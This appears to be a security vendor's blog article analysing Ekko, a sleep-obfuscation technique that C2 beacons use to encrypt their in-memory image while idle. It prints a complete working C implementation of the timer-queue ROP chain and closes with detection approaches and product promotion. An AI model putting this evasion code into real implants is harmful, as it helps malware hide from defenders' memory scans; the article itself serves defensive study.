Series Note: This is the first article in the "Sleep Mask in Red Team vs. Blue Team Engagements" series, focusing on the classic open-source implementation, Ekko. Subsequent articles will cover additional Sleep Obfuscation variants, along with detection and countermeasure techniques.
Abstract: In red team vs. blue team engagements, a C2 framework's Beacon retains a complete payload image in its process memory while it sleeps and waits for tasking, making it highly susceptible to detection by defenders' memory scans. The Sleep Mask (sleep obfuscation) technique emerged to address this problem: its core idea is to encrypt or obfuscate the in-memory payload before the Beacon sleeps and to restore it once the Beacon wakes. Using the classic open-source implementation Ekko as a starting point, this article provides an in-depth analysis of Sleep Obfuscation based on the Windows Timer Queue and ROP chains.
1. Background: Why Is Sleep Mask Needed?
1.1 The C2 Beacon Lifecycle
A typical C2 (Command & Control) Beacon operates in the following cycle:
[Start] → [Connect to C2] → [Get Tasking] → [Execute Task] → [Sleep/Wait] → [Connect to C2] → ...
During the "sleep/wait" phase, the Beacon usually calls system APIs such as Sleep() or WaitForSingleObject() to pause execution. However, the following remain fully intact in its process memory:
- The Beacon's code section (.text) and data section (.data)
- Loaded module images (PE headers, import tables, etc.)
- Sensitive data written during task execution (keys, credentials, shellcode, etc.)
1.2 The Threat of Memory Scanning
Defenders (blue teams, EDR products, and security researchers) can scan the Beacon's process memory while it sleeps, using methods such as:
| Scanning Method | Description |
|---|---|
| Signature Scanning | Matching YARA rules against process memory to find known Beacon signatures |
| PE Structure Detection | Detecting anomalous PE images in memory (e.g., executable images with no corresponding file on disk) |
| Entropy Analysis | High-entropy memory regions may indicate encrypted or packed content |
| Behavioral Correlation | Correlating thread behavior (periodic wake-ups) with memory characteristics to reach a detection verdict |
1.3 Limitations of Traditional Approaches
| Approach | Limitation |
|---|---|
Manually calling VirtualProtect + manual encryption |
At the instant the encryption/decryption code executes, a plaintext Beacon image still exists in memory, leaving a race window that memory scanners can exploit |
Using NtProtectVirtualMemory to directly modify page protection |
The call is conspicuous and is easily intercepted by API hooking |
| Writing the Beacon to a file and then deleting it | Disk I/O leaves forensic artifacts |
Core dilemma: The Beacon must run its encryption/decryption logic using its own code, so that code is necessarily plaintext at the moment encryption or decryption runs. If the Beacon's memory image could be rendered completely unreadable throughout the entire sleep window between encryption and decryption, memory scanning could be countered to the greatest possible extent.
2. The Core Idea of Sleep Mask
The ideal Sleep Mask execution flow is as follows:
Beacon running normally
│
▼
┌──────────────────────────────────────┐
│ 1. Set page protection to RW │ (VirtualProtect → PAGE_READWRITE)
│ 2. Encrypt the Beacon image │ (RC4 / XOR / other symmetric ciphers)
│ 3. Perform the sleep │ (Sleep / WaitForSingleObject)
│ Memory now contains ciphertext │
│ 4. Decrypt the Beacon image │ (Reverse operation with the same key)
│ 5. Restore page protection to RX │ (VirtualProtect → PAGE_EXECUTE_READWRITE)
└──────────────────────────────────────┘
│
▼
Beacon continues execution
Key challenge: Steps 1-2 and 4-5 must themselves be executed by the Beacon's plaintext code. How can the Beacon be "safely" woken up and its image decrypted after encryption?
This is precisely where Ekko's elegance lies.
3. Ekko: Timer Queue-Based Sleep Obfuscation
3.1 Technique Origins
The Ekko technique was originally discovered by Peter Winter-Smith and deployed in MDSec's Nighthawk C2 framework; it was later publicly analyzed by Austin Hudson (@SecIdiot) in his research. Ekko is the open-source PoC implementation of the technique, written by C5pider.
3.2 Core Design Philosophy
Ekko's central insight: By leveraging the Windows Timer Queue mechanism, the system's timer thread can automatically execute a pre-orchestrated ROP chain while the encrypted Beacon "sleeps," performing decryption and protection restoration on its behalf — thereby working around the unavailability of the Beacon's own code.
Specifically:
-
While the Beacon is still in plaintext form, a set of
CONTEXTstructures (the ROP chain) is pre-built, each describing a single function call - These ROP chains are registered as timer callbacks via
CreateTimerQueueTimer - The Beacon image is then encrypted, and the Beacon enters its sleep phase
- During the sleep, the Windows thread pool's timer thread fires these callbacks in sequence at their scheduled times
- The callbacks restore the
CONTEXTvia theNtContinuesystem call, thereby executingVirtualProtect,SystemFunction032(RC4),WaitForSingleObject, and other functions - Finally, the Beacon image is decrypted, its page protection is restored, and the main thread is woken up
3.3 Key APIs and Data Structures
3.3.1 Timer Queue API
// Create a timer queue
HANDLE CreateTimerQueue(void);
// Create a timer in the queue; when it expires, the callback runs on a thread pool thread
BOOL CreateTimerQueueTimer(
PHANDLE phNewTimer,
HANDLE TimerQueue,
WAITORTIMERCALLBACK Callback, // Callback function pointer
PVOID Parameter, // Parameter passed to the callback
DWORD DueTime, // Delay before the first firing (milliseconds)
DWORD Period, // Period (0 = one-shot)
ULONG Flags // WT_EXECUTEINTIMERTHREAD, etc.
);
When Callback is RtlCaptureContext or NtContinue, Parameter is interpreted as a CONTEXT* (output) or a CONTEXT* (input), respectively.
3.3.2 NtContinue
NTSTATUS NtContinue(
HANDLE ThreadContext, // Pointer to a CONTEXT structure
BOOLEAN RaiseAlert
);
NtContinue is a low-level system call used to restore a thread's context. Ekko uses it to "execute" a pre-built CONTEXT structure — which is equivalent to performing an arbitrary function call on the target thread.
3.3.3 SystemFunction032 (RC4)
// Exported by Advapi32.dll; this is actually an RC4 encryption/decryption function
NTSTATUS SystemFunction032(
USTRING* Data, // Data to encrypt/decrypt
USTRING* Key // Key
);
SystemFunction032 is an RC4 implementation exported internally by Windows. Because RC4 is a symmetric cipher, encryption and decryption are the same operation — applying the same RC4 operation twice to the same data restores the original. Ekko exploits this property, calling the same function in both the encryption and decryption phases.
The USTRING structure is defined as follows:
typedef struct {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
3.4 Execution Flow in Detail
Below is Ekko's complete execution flow, divided into the preparation phase and the obfuscation phase:
Preparation Phase (Beacon in Plaintext)
┌──────────────────────────────────────────────────────────────┐
│ 1. Obtain the current process image base (ImageBase) │
│ and image size (ImageSize) │
│ 2. Create the Event and the TimerQueue │
│ 3. Resolve the addresses of key functions: │
│ - NtContinue (Ntdll) │
│ - SystemFunction032 (Advapi32) │
│ - VirtualProtect (Kernel32) │
│ - WaitForSingleObject / SetEvent │
│ 4. Prepare the RC4 key (16 bytes) │
│ 5. Capture the current thread context with │
│ RtlCaptureContext │
│ (via a 0 ms timer callback on the Timer Queue) │
└──────────────────────────────────────────────────────────────┘
Building the ROP Chain (6 CONTEXT Structures)
Using the captured thread context as a template, Ekko builds 6 CONTEXT structures, each representing one function call:
| # | Name | Purpose | Code |
|---|---|---|---|
| 1 | RopProtRW |
Set the Beacon image's page protection to PAGE_READWRITE
|
VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &OldProtect) |
| 2 | RopMemEnc |
Encrypt the Beacon image with RC4 | SystemFunction032(&Img, &Key) |
| 3 | RopDelay |
Perform the actual sleep | WaitForSingleObject(NtCurrentProcess(), SleepTime) |
| 4 | RopMemDec |
Decrypt the Beacon image with RC4 | SystemFunction032(&Img, &Key) |
| 5 | RopProtRX |
Restore page protection to PAGE_EXECUTE_READWRITE
|
VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect) |
| 6 | RopSetEvt |
Signal the event to wake the main thread | SetEvent(hEvent) |
Key field assignments for each CONTEXT:
// Using RopProtRW as an example
RopProtRW.Rsp -= 8; // Move the stack pointer down to emulate the return-address slot a ret instruction would land on
RopProtRW.Rip = VirtualProtect; // Set the instruction pointer to the target function
RopProtRW.Rcx = ImageBase; // Arg 1: image base
RopProtRW.Rdx = ImageSize; // Arg 2: image size
RopProtRW.R8 = PAGE_READWRITE; // Arg 3: new protection
RopProtRW.R9 = &OldProtect; // Arg 4: receives the old protection
Note: The purpose of
Rsp -= 8is to prepare a valid return-address slot for theretinstruction whenNtContinuereturns. SincePeriodis 0 (one-shot), the timer thread exits normally after the callback completes, so the return address does not need to point to valid code.
Obfuscation Phase (Timer-Triggered)
The 6 timers are registered on the Timer Queue with increasing DueTime values:
Timeline (ms) 0 100 200 300 400 500 600
│ │ │ │ │ │ │
│ ProtRW MemEnc Delay MemDec ProtRX SetEvt
│ (to RW) (enc) (sleep)(dec) (to RWX)(wake)
│
▼
Main thread waits on the Event
Key detail: All timer callbacks use the WT_EXECUTEINTIMERTHREAD flag, ensuring these callbacks are invoked on the timer thread instead of the main thread. This means:
- The main thread can safely call
WaitForSingleObject(hEvent, INFINITE)and go to sleep - Encryption, decryption, and page protection changes are performed on its behalf by the timer thread
- During the sleep (step 3), both the main thread's stack frames and its code section are ciphertext, so memory scans cannot identify Beacon signatures
4. Technical Principle Diagrams
4.1 Memory State Transitions
Time Memory State Description
────────────────────────────────────────────────────────
T0 [Plaintext Beacon] Preparation: build the ROP chain
T1 (100ms) [Plaintext Beacon] VirtualProtect → RW (must be writable so the ciphertext can be written back)
T2 (200ms) [Ciphertext Beacon] RC4 encryption complete; no identifiable signatures in memory
T3 (300ms) [Ciphertext Beacon] Main thread sleeping; the timer thread is also waiting
T4 (400ms) [Ciphertext Beacon] RC4 decryption; plaintext restored
T5 (500ms) [Plaintext Beacon] VirtualProtect → RWX (executability restored)
T6 (600ms) [Plaintext Beacon] SetEvent wakes the main thread
4.2 Thread Interaction Model
┌──────────────────────┐ ┌───────────────────────────────┐
│ Main Thread │ │ Timer Queue Timer Thread │
│ │ │ │
│ Build CONTEXTs │ │ │
│ Register 6 timers │ │ │
│ │ │ │
│ Wait(hEvent, INF) ──┼────►│ T+100ms: VirtualProtect(RW) │
│ [main thread sleeps]│ │ T+200ms: RC4 encrypt │
│ [memory ciphertext] │ │ T+300ms: WaitForSingleObject │
│ [invisible] │ │ T+400ms: RC4 decrypt │
│ │ │ T+500ms: VirtualProtect(RWX) │
│ │◄─────┼ T+600ms: SetEvent │
│ Woken up; resumes │ │ │
└──────────────────────┘ └───────────────────────────────┘
5. Key Code Analysis
5.1 Obtaining Image Information
ImageBase = GetModuleHandleA( NULL );
ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase +
( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew )
)->OptionalHeader.SizeOfImage;
Ekko obtains the image base and size by parsing the PE header of the current process's main module. GetModuleHandleA(NULL) returns the base address of the current process's executable.
5.2 Context Capture
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext,
&CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD );
WaitForSingleObject( hEvent, 0x32 ); // Wait 50 ms
Ekko cleverly uses RtlCaptureContext as the Timer Queue callback function. Its prototype is VOID RtlCaptureContext(PCONTEXT), which happens to match the WAITORTIMERCALLBACK signature (its calling convention is compatible with VOID CALLBACK(PVOID, BOOLEAN)). The first parameter Parameter (i.e., &CtxThread) is interpreted by RtlCaptureContext as a PCONTEXT, thereby capturing the timer thread's context.
The 50 ms timeout in
WaitForSingleObject(hEvent, 0x32)here ensures the timer callback has enough time to complete the context capture.
5.3 ROP Chain Orchestration
All 6 CONTEXT structures are copied from the CtxThread template and then have their key fields modified:
memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
// ... for each CONTEXT, set Rip (target function) and Rcx/Rdx/R8/R9 (arguments)
This "template copy" approach ensures that all context state other than Rip and the argument registers (segment registers, floating-point registers, etc.) remains consistent, reducing the risk of exceptions when NtContinue executes.
5.4 Timer Registration and Execution
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
// ... registered in order, with DueTime increasing by 100 ms
All six timers use NtContinue as their callback function, with the corresponding CONTEXT structure pointer as the parameter. When a timer expires, the timer thread calls NtContinue(CONTEXT*); the system restores that context and jumps to the function specified by Rip.
5.5 Complete Example Code
Below is the complete Ekko implementation, covering all the key elements described above:
#include <windows.h>
#include <stdio.h>
// ============================================================
// Data structure definitions
// ============================================================
// String structure required by SystemFunction032
typedef struct {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
// Common handle macro
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
// ============================================================
// EkkoObf - Sleep Obfuscation core function
// ============================================================
VOID EkkoObf( DWORD SleepTime )
{
// --- Thread context: the template captured via RtlCaptureContext ---
CONTEXT CtxThread = { 0 };
// --- 6 ROP chain contexts, each representing one function call ---
CONTEXT RopProtRW = { 0 }; // VirtualProtect → PAGE_READWRITE
CONTEXT RopMemEnc = { 0 }; // SystemFunction032 → RC4 encrypt
CONTEXT RopDelay = { 0 }; // WaitForSingleObject → sleep
CONTEXT RopMemDec = { 0 }; // SystemFunction032 → RC4 decrypt
CONTEXT RopProtRX = { 0 }; // VirtualProtect → PAGE_EXECUTE_READWRITE
CONTEXT RopSetEvt = { 0 }; // SetEvent → wake the main thread
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
HANDLE hEvent = NULL;
PVOID ImageBase = NULL;
DWORD ImageSize = 0;
DWORD OldProtect = 0;
// RC4 key (16 bytes; should be randomly generated in real deployments)
CHAR KeyBuf[16] = {
0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55
};
USTRING Key = { 0 };
USTRING Img = { 0 };
PVOID NtContinue = NULL;
PVOID SysFunc032 = NULL;
// ==========================================================
// Step 1: Initialize handles and resolve function addresses
// ==========================================================
hEvent = CreateEventW( 0, 0, 0, 0 );
hTimerQueue = CreateTimerQueue();
// NtContinue: restores a CONTEXT structure; equivalent to an arbitrary function call
NtContinue = GetProcAddress(
GetModuleHandleA( "Ntdll" ), "NtContinue" );
// SystemFunction032: the RC4 encrypt/decrypt function exported by Advapi32
SysFunc032 = GetProcAddress(
LoadLibraryA( "Advapi32" ), "SystemFunction032" );
// ==========================================================
// Step 2: Obtain the base and size of the current process image
// ==========================================================
ImageBase = GetModuleHandleA( NULL );
ImageSize = ( ( PIMAGE_NT_HEADERS )( ImageBase +
( ( PIMAGE_DOS_HEADER )ImageBase )->e_lfanew )
)->OptionalHeader.SizeOfImage;
// Fill the USTRING structures describing the memory region to encrypt/decrypt
Key.Buffer = KeyBuf;
Key.Length = Key.MaximumLength = 16;
Img.Buffer = ImageBase;
Img.Length = Img.MaximumLength = ImageSize;
// ==========================================================
// Step 3: Capture the timer thread context (as the ROP chain template)
// ==========================================================
// Use RtlCaptureContext as the Timer Queue callback;
// DueTime=0 means it fires immediately; the callback runs on the timer thread
if ( CreateTimerQueueTimer(
&hNewTimer, hTimerQueue,
RtlCaptureContext, // Callback
&CtxThread, // Parameter = output CONTEXT
0, 0, // DueTime=0, Period=0
WT_EXECUTEINTIMERTHREAD ) )
{
// Wait 50 ms to ensure the context capture has completed
WaitForSingleObject( hEvent, 0x32 );
// ======================================================
// Step 4: Build the 6 ROP chains from the captured context template
// ======================================================
memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );
// ----- ROP 1: VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &OldProtect) -----
RopProtRW.Rsp -= 8;
RopProtRW.Rip = VirtualProtect;
RopProtRW.Rcx = ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = &OldProtect;
// ----- ROP 2: SystemFunction032(&Img, &Key) — RC4 encrypt -----
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = SysFunc032;
RopMemEnc.Rcx = &Img;
RopMemEnc.Rdx = &Key;
// ----- ROP 3: WaitForSingleObject(NtCurrentProcess(), SleepTime) — sleep -----
RopDelay.Rsp -= 8;
RopDelay.Rip = WaitForSingleObject;
RopDelay.Rcx = NtCurrentProcess();
RopDelay.Rdx = SleepTime;
// ----- ROP 4: SystemFunction032(&Img, &Key) — RC4 decrypt -----
RopMemDec.Rsp -= 8;
RopMemDec.Rip = SysFunc032;
RopMemDec.Rcx = &Img;
RopMemDec.Rdx = &Key;
// ----- ROP 5: VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect) -----
RopProtRX.Rsp -= 8;
RopProtRX.Rip = VirtualProtect;
RopProtRX.Rcx = ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = &OldProtect;
// ----- ROP 6: SetEvent(hEvent) — wake the main thread -----
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = SetEvent;
RopSetEvt.Rcx = hEvent;
// ======================================================
// Step 5: Register the 6 timers; they fire in increasing DueTime order
// ======================================================
// Every timer callback is NtContinue, with the matching CONTEXT pointer as its parameter
// DueTime step is 100 ms; Period=0 means one-shot
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );
// ======================================================
// Step 6: The main thread sleeps, waiting for the ROP chain to complete
// ======================================================
// The process image is now encrypted; no identifiable Beacon signatures remain in memory
WaitForSingleObject( hEvent, INFINITE );
}
// Clean up the timer queue
DeleteTimerQueue( hTimerQueue );
}
// ============================================================
// Entry point — demonstrates a continuous loop of sleep obfuscation
// ============================================================
int main()
{
puts( "[*] Ekko Sleep Obfuscation" );
do
EkkoObf( 4 * 1000 ); // Sleep for 4 seconds per iteration
while ( TRUE );
return 0;
}
Code Recap:
| Step | Key Operation | APIs Involved |
|---|---|---|
| Initialization | Create the Event and TimerQueue; resolve function addresses |
CreateEventW, CreateTimerQueue, GetProcAddress
|
| Image Locating | Parse the PE header to obtain the base and size |
GetModuleHandleA, PE header parsing |
| Context Capture | Capture a thread context using a Timer Queue callback |
CreateTimerQueueTimer + RtlCaptureContext
|
| ROP Orchestration | Copy 6 CONTEXTs and set the target function and arguments for each |
memcpy, manual Rip/Rcx/Rdx/R8/R9 assignment |
| Timer Registration | Register 6 NtContinue callbacks at 100 ms intervals |
CreateTimerQueueTimer × 6 |
| Sleep/Wait | The main thread blocks; memory stays encrypted | WaitForSingleObject(hEvent, INFINITE) |
6. Security Analysis
6.1 Countermeasures Against Memory Scanning
Ekko's core adversarial value:
- Memory is ciphertext throughout the sleep window: Between T2 and T4, the Beacon's PE image is fully RC4-encrypted, so traditional YARA scanning and PE structure detection cannot identify it
- No extra disk I/O: The entire encryption/decryption process happens in memory, producing no additional file operations
-
Abusing legitimate system mechanisms: Timer Queues are a legitimate Windows feature, and both
NtContinueandSystemFunction032are exported by the operating system
6.2 Detection Approaches
Defenders can detect this class of Sleep Mask techniques from the following angles:
-
Timer Queue anomaly monitoring: Monitor
CreateTimerQueueTimercalls, paying special attention toNtContinuecallbacks whose parameter points to aCONTEXTstructure -
Memory protection flip detection: Monitor rapid
RX→RW→RXflips in process memory page protection -
Thread behavior analysis: Detect anomalous
NtContinuecalls originating from the timer thread - Memory entropy monitoring: Periodically sample memory entropy during idle periods; a sudden rise may indicate encryption activity
-
API call sequence correlation: Treat the call sequence
VirtualProtect+SystemFunction032+WaitForSingleObjectas a detection rule
6.3 iDefender's Real-World Detection and Blocking
The detection approaches above are not merely theoretical. In real-world testing, iDefender can effectively detect and block Ekko-style Sleep Mask techniques. Below is a screenshot of the Ekko PoC being detected in real time while it was running:
Summary
iDefender's detection does not rely on code signatures. No matter how Ekko's implementation is transformed — swapping encryption algorithms, randomizing timer intervals, obfuscating the order of API calls — the very act of triggering the obfuscation exposes behavioral indicators: anomalous timer callback orchestration, NtContinue restoring an attacker-controlled context, and sudden flips of memory page protection. These behavioral patterns are detected at the moment of execution, rather than discovered after the fact through static scanning.
For more technical details and product capabilities of iDefender - The Behavior-Driven Intelligent Defender, please visit: iDefender Official Website

Top comments (0)